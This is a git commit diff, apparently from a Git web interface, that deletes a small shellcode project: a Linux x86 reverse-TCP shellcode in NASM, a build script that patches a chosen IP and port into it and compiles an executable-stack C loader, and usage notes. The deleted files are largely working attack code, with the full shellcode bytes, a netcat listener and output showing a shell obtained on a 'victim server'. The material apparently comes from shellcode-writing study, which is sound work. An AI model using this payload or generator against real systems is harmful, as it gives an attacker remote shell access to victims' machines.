parent
54b4ff0861
commit
36c4cb4f4c
@ -1,35 +0,0 @@
|
|||||||
USAGE
|
|
||||||
|
|
||||||
1. attacker has 192.168.1.149 IP and runs nc to listen on 55005 port
|
|
||||||
|
|
||||||
attacker $ nc -vl 55005
|
|
||||||
[do not close it]
|
|
||||||
|
|
||||||
|
|
||||||
2. Running shellcode a victim server
|
|
||||||
exam2$ ./compile_all.sh shell_reverse_tcp 192.168.1.149 55005
|
|
||||||
[I] Using custom port: 55005
|
|
||||||
[+] Assembling shell_reverse_tcp.nasm with NASM ...
|
|
||||||
[+] Linking shell_reverse_tcp.o ...
|
|
||||||
[+] Generating shellcode with objdump ...
|
|
||||||
[+] Checking shellcode for NULLs ...
|
|
||||||
[+] Shellcode size is 117 bytes
|
|
||||||
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x51\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xd2\xff\x37\x66\xff\x77\x04\x4b\x66\x53\x43\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xd8\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\xaa\xff\xff\xff\xc0\xa8\x01\x95\xd6\xdd"
|
|
||||||
[+] Generating shellcode.c file with the shell_reverse_tcp shellcode ...
|
|
||||||
[+] Compiling shellcode.c with GCC ...
|
|
||||||
[+] All done! You can run the shellcode now:
|
|
||||||
$ ./shellcode
|
|
||||||
|
|
||||||
exam2$ ./shellcode
|
|
||||||
Shellcode Length: 117
|
|
||||||
|
|
||||||
|
|
||||||
3. Checking now your nc
|
|
||||||
attacker $ nc -vl 55005
|
|
||||||
Connection from 192.168.1.149 port 55005 [tcp/*] accepted
|
|
||||||
id
|
|
||||||
uid=500(arno) gid=500(arno) groups=500(arno),18(dialout),498(desktop_admin_r),501(vboxusers) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
|
||||||
|
|
||||||
|
|
||||||
Voila ! We've got a shell to a victim server.
|
|
||||||
|
|
@ -1,157 +0,0 @@
|
|||||||
#!/usr/bin/env sh
|
|
||||||
#
|
|
||||||
# Creates a shell_reverse_tcp shellcode
|
|
||||||
#
|
|
||||||
# Example
|
|
||||||
# ./compile_all.sh shell_reverse_tcp 192.168.1.1 12357
|
|
||||||
#
|
|
||||||
# If no IP & Port specified, the default ones will be used 192.168.1.1 12357
|
|
||||||
#
|
|
||||||
# IP and Port are stored in last 6 bytes in HEX
|
|
||||||
#
|
|
||||||
|
|
||||||
ARG1=$1 # Specify program
|
|
||||||
ARG2=$2 # Specify IP
|
|
||||||
ARG3=$3 # Specify port
|
|
||||||
|
|
||||||
#
|
|
||||||
# Check script usage and file existence
|
|
||||||
#
|
|
||||||
if [ -z "$ARG1" ]; then
|
|
||||||
echo " [I] Please specify program you would like to assemble!"
|
|
||||||
echo " [I] Usage example: ./compile_all.sh shell_reverse_tcp 192.168.1.1 12357"
|
|
||||||
exit 1;
|
|
||||||
elif [ -e "$ARG1" ]; then
|
|
||||||
if [[ $ARG1 == *nasm* ]]; then
|
|
||||||
ARG1=$(echo -ne $ARG1 |sed 's/.....$//g');
|
|
||||||
echo $ARG1
|
|
||||||
fi
|
|
||||||
elif [ ! -e "$ARG1".nasm ]; then
|
|
||||||
ARG1_GUESS=$(echo $ARG1 |sed 's/.nasm//g')
|
|
||||||
if [ -e "$ARG1_GUESS" ]; then
|
|
||||||
ARG1=$ARG1_GUESS
|
|
||||||
else
|
|
||||||
echo " [E] File "$ARG1" does not exist!"
|
|
||||||
exit 1;
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Validate nasm source file
|
|
||||||
#
|
|
||||||
if ! $(grep -qi ^global $ARG1.nasm 2>/dev/null); then
|
|
||||||
echo " [E] The file "$ARG1.nasm" does not appear to be a correct NASM source!"
|
|
||||||
exit 1;
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Validate and Convert IP to HEX
|
|
||||||
#
|
|
||||||
function valid_ip()
|
|
||||||
{
|
|
||||||
local ip=$1
|
|
||||||
local stat=1
|
|
||||||
|
|
||||||
if [[ $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
|
|
||||||
OIFS=$IFS
|
|
||||||
IFS='.'
|
|
||||||
ip=($ip)
|
|
||||||
IFS=$OIFS
|
|
||||||
[[ ${ip[0]} -le 255 && ${ip[1]} -le 255 && \
|
|
||||||
${ip[2]} -le 255 && ${ip[3]} -le 255 ]]
|
|
||||||
stat=$?
|
|
||||||
fi
|
|
||||||
return $stat
|
|
||||||
}
|
|
||||||
|
|
||||||
if [ -z "$ARG2" ]; then
|
|
||||||
echo " [E] Please specify IP"
|
|
||||||
exit 1;
|
|
||||||
else
|
|
||||||
if valid_ip $ARG2; then
|
|
||||||
IPHEX=$(printf '%.2x' ${ARG2//./ } | sed 's/../\\x&/g')
|
|
||||||
else
|
|
||||||
echo " [E] IP is not valid!"
|
|
||||||
exit 1;
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Port range check
|
|
||||||
#
|
|
||||||
if [ -z "$ARG3" ]; then
|
|
||||||
echo " [I] Default port will be used."
|
|
||||||
ARG3=12357;
|
|
||||||
elif ! [[ $ARG3 -ge 1024 && $ARG3 -le 65535 ]]; then
|
|
||||||
echo " [E] The port must be in range 1024..65535 !"
|
|
||||||
exit 1;
|
|
||||||
else
|
|
||||||
echo " [I] Using custom port: "$ARG3
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Assemble and link
|
|
||||||
#
|
|
||||||
echo " [+] Assembling "$ARG1".nasm with NASM ..."
|
|
||||||
nasm -f elf32 -o $ARG1.o $ARG1.nasm && \
|
|
||||||
echo " [+] Linking "$ARG1".o ..." && \
|
|
||||||
ld -m elf_i386 -o $ARG1 $ARG1.o && \
|
|
||||||
echo -e " [+] Generating shellcode with objdump ..." && \
|
|
||||||
SHELLCODE=$(objdump -d ./$ARG1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g')
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Set the custom port (if any was specified) for the shellcode
|
|
||||||
#
|
|
||||||
if [ -z "$ARG3" ]; then
|
|
||||||
FULL_SHELLCODE=$(echo $SHELLCODE)
|
|
||||||
else
|
|
||||||
PORT_HEX=$(printf '%.4x' $ARG3 | sed 's/../\\x&/g')
|
|
||||||
FULL_SHELLCODE=$(echo -n $SHELLCODE | sed 's/.........................$//' ; echo ${IPHEX}${PORT_HEX}"\"")
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Check shellcode for NULLs
|
|
||||||
#
|
|
||||||
echo " [+] Checking shellcode for NULLs ..."
|
|
||||||
if [[ $FULL_SHELLCODE == *00* ]]; then
|
|
||||||
echo " [E] Your shellcode contains 00 (NULL) ! Most likely you need to change your IP or port."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo -ne " [+] Shellcode size is "$(echo -ne $FULL_SHELLCODE|sed 's/\"//g'|wc -c)" bytes\n"
|
|
||||||
echo $FULL_SHELLCODE
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Generate shellcode.c
|
|
||||||
#
|
|
||||||
echo " [+] Generating shellcode.c file with the "$ARG1" shellcode ..."
|
|
||||||
cat > shellcode.c << EOF
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
unsigned char code[] = \
|
|
||||||
$FULL_SHELLCODE;
|
|
||||||
|
|
||||||
main()
|
|
||||||
{
|
|
||||||
printf("Shellcode Length: %d\n", strlen(code));
|
|
||||||
int (*ret)() = (int(*)())code;
|
|
||||||
ret();
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Compile C code with GCC
|
|
||||||
#
|
|
||||||
echo " [+] Compiling shellcode.c with GCC ..."
|
|
||||||
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
|
|
||||||
|
|
||||||
echo -e " [+] All done! You can run the shellcode now: \n$ ./shellcode"
|
|
@ -1,196 +0,0 @@
|
|||||||
; This program is free software: you can redistribute it and/or modify
|
|
||||||
; it under the terms of the GNU General Public License as published by
|
|
||||||
; the Free Software Foundation, either version 3 of the License, or
|
|
||||||
; (at your option) any later version.
|
|
||||||
;
|
|
||||||
; This program is distributed in the hope that it will be useful,
|
|
||||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
; GNU General Public License for more details.
|
|
||||||
;
|
|
||||||
; You should have received a copy of the GNU General Public License
|
|
||||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
; Filename: shell_reverse_tcp.nasm
|
|
||||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
|
||||||
; 2013 March
|
|
||||||
;
|
|
||||||
; DESC:
|
|
||||||
; - Reverse connects to configured IP and Port
|
|
||||||
; - Execs Shell on successful connection
|
|
||||||
;
|
|
||||||
; IP and Port are the last 6 bytes of the shellcode.
|
|
||||||
; In hex \xc0\xa8\x01\x01\x30\x45 (0xc0a80101 = 192.168.1.1 AND 0x3045 = 12357)
|
|
||||||
;
|
|
||||||
|
|
||||||
global _start
|
|
||||||
|
|
||||||
|
|
||||||
section .text
|
|
||||||
|
|
||||||
_start:
|
|
||||||
|
|
||||||
;
|
|
||||||
; Reverse engineering
|
|
||||||
; $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357
|
|
||||||
; execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0
|
|
||||||
; socket(PF_NETLINK, SOCK_RAW, 0) = 3
|
|
||||||
; bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
|
|
||||||
;
|
|
||||||
; Below starts what we were looking for:
|
|
||||||
;
|
|
||||||
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
|
|
||||||
; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
|
|
||||||
;
|
|
||||||
|
|
||||||
;
|
|
||||||
; Starting to code
|
|
||||||
;
|
|
||||||
|
|
||||||
;
|
|
||||||
; =============================== SOCKET =====================================
|
|
||||||
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
|
|
||||||
;
|
|
||||||
; int socket(int domain, int type, int protocol);
|
|
||||||
;
|
|
||||||
; int socketcall(int call, unsigned long *args)
|
|
||||||
; socketcall SYS_SOCKET socket() args
|
|
||||||
; EAX EBX ECX
|
|
||||||
; 102 1 (2, 1, 6)
|
|
||||||
;
|
|
||||||
; SYS_SOCKET will return file descriptor (fd) in EAX.
|
|
||||||
;
|
|
||||||
|
|
||||||
; EAX
|
|
||||||
xor eax, eax
|
|
||||||
mov al, 102 ; socketcall
|
|
||||||
|
|
||||||
; EBX
|
|
||||||
xor ebx, ebx
|
|
||||||
mov bl, 1 ; SYS_SOCKET socket()
|
|
||||||
|
|
||||||
; ECX
|
|
||||||
xor ecx, ecx
|
|
||||||
push ecx
|
|
||||||
push BYTE 6 ; IPPROTO_TCP || int protocol);
|
|
||||||
push BYTE 1 ; SOCK_STREAM || int type,
|
|
||||||
push BYTE 2 ; AF_INET || socket(int domain,
|
|
||||||
mov ecx, esp ; ECX - PTR to arguments for socket()
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; EAX return
|
|
||||||
mov esi, eax ; save socket fd in ESI for later
|
|
||||||
|
|
||||||
|
|
||||||
;
|
|
||||||
; =============================== CONNECT =====================================
|
|
||||||
;
|
|
||||||
; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
|
|
||||||
;
|
|
||||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
|
||||||
;
|
|
||||||
|
|
||||||
jmp short call_get_ip_and_port
|
|
||||||
back2shellcode:
|
|
||||||
pop edi ; getting ip and port address from ESP
|
|
||||||
|
|
||||||
; EAX
|
|
||||||
xor eax, eax
|
|
||||||
mov al, 102 ; socketcall
|
|
||||||
|
|
||||||
; EBX
|
|
||||||
xor ebx, ebx
|
|
||||||
mov bl, 3 ; SYS_CONNECT connect()
|
|
||||||
|
|
||||||
; ECX
|
|
||||||
xor edx, edx
|
|
||||||
; push edx ; 0.0.0.0 - ALL interfaces
|
|
||||||
; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! ***
|
|
||||||
; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse
|
|
||||||
push DWORD [edi] ; push IP
|
|
||||||
push WORD [edi+0x4] ; push port
|
|
||||||
dec ebx ; decreaes bl from 3 to 2 to use for the next push
|
|
||||||
push WORD bx ; 2 - AF_INET
|
|
||||||
inc ebx ; put back bl to 3 for SYS_CONNECT
|
|
||||||
mov ecx, esp ; ptr to struct sockaddr
|
|
||||||
|
|
||||||
push BYTE 16 ; socklen_t addrlen);
|
|
||||||
push ecx ; const struct sockaddr *addr,
|
|
||||||
push esi ; connect(int sockfd,
|
|
||||||
mov ecx, esp ; ECX = PTR to arguments for connect()
|
|
||||||
int 0x80 ; sockfd will be in EBX
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
;
|
|
||||||
; =============================== DUP FD =====================================
|
|
||||||
;
|
|
||||||
; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
|
|
||||||
; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
|
|
||||||
; man 2 dup2
|
|
||||||
; int dup2(int oldfd, int newfd);
|
|
||||||
; EAX, EBX, ECX
|
|
||||||
; 63 sockfd 0
|
|
||||||
; 63 sockfd 1
|
|
||||||
; 63 sockfd 2
|
|
||||||
;
|
|
||||||
|
|
||||||
; move our sockfd to EAX
|
|
||||||
mov eax, ebx
|
|
||||||
|
|
||||||
xor eax, eax
|
|
||||||
mov al, 63 ; dup2 syscall
|
|
||||||
xor ecx, ecx ; 0 - stdin
|
|
||||||
int 0x80 ; call dup2(sockfd, 0)
|
|
||||||
|
|
||||||
mov al, 63 ; dup2 syscall
|
|
||||||
mov cl, 1 ; 1 - stdout
|
|
||||||
int 0x80 ; call dup2(sockfd, 1)
|
|
||||||
|
|
||||||
mov al, 63 ; dup2 syscall
|
|
||||||
mov cl, 2 ; 2 - stderr
|
|
||||||
int 0x80 ; call dup2(sockfd, 2)
|
|
||||||
|
|
||||||
|
|
||||||
;
|
|
||||||
; =============================== EXECVE =====================================
|
|
||||||
;
|
|
||||||
; Now as we forwarded sockfd to a client, we can spawn shell.
|
|
||||||
; Prepare the path, in little-endian, using the Python
|
|
||||||
; >>> '//bin/sh'[::-1].encode('hex')
|
|
||||||
; '68732f6e69622f2f'
|
|
||||||
;
|
|
||||||
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
|
||||||
; EAX EBX, ECX, EDX
|
|
||||||
; 11 '//bin/sh' PTR to EBX NULL
|
|
||||||
;
|
|
||||||
;
|
|
||||||
|
|
||||||
; EAX
|
|
||||||
xor eax, eax
|
|
||||||
mov al, 11 ; execve syscall
|
|
||||||
|
|
||||||
; EBX
|
|
||||||
xor edx, edx
|
|
||||||
push edx ; NULL termination of '//bin/sh' string
|
|
||||||
push 0x68732f6e ; '//bin/sh' in reverse
|
|
||||||
push 0x69622f2f ; beginning of '//bin/sh' string is here
|
|
||||||
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
|
|
||||||
|
|
||||||
; ECX
|
|
||||||
push edx ; NULL termination of a stack
|
|
||||||
push ebx ; load our '//bin/sh' on a stack
|
|
||||||
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
|
|
||||||
|
|
||||||
; EDX
|
|
||||||
push edx ; NULL terminator
|
|
||||||
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
|
|
||||||
int 0x80 ; call execve(EBX, ECX, EDX)
|
|
||||||
|
|
||||||
|
|
||||||
call_get_ip_and_port:
|
|
||||||
call back2shellcode
|
|
||||||
; dd 0x0101a8c0 ; DWORD 192.168.1.1 reverse (in hex)
|
|
||||||
db 0xc0, 0xa8, 0x01, 0x01 ; BYTE 192.168.1.1 straight (in hex)
|
|
||||||
; dw 0x4530 ; WORD 12357 reverse (in hex)
|
|
||||||
db 0x30, 0x45 ; BYTE 12357 straight (in hex)
|
|
Loading…
Reference in new issue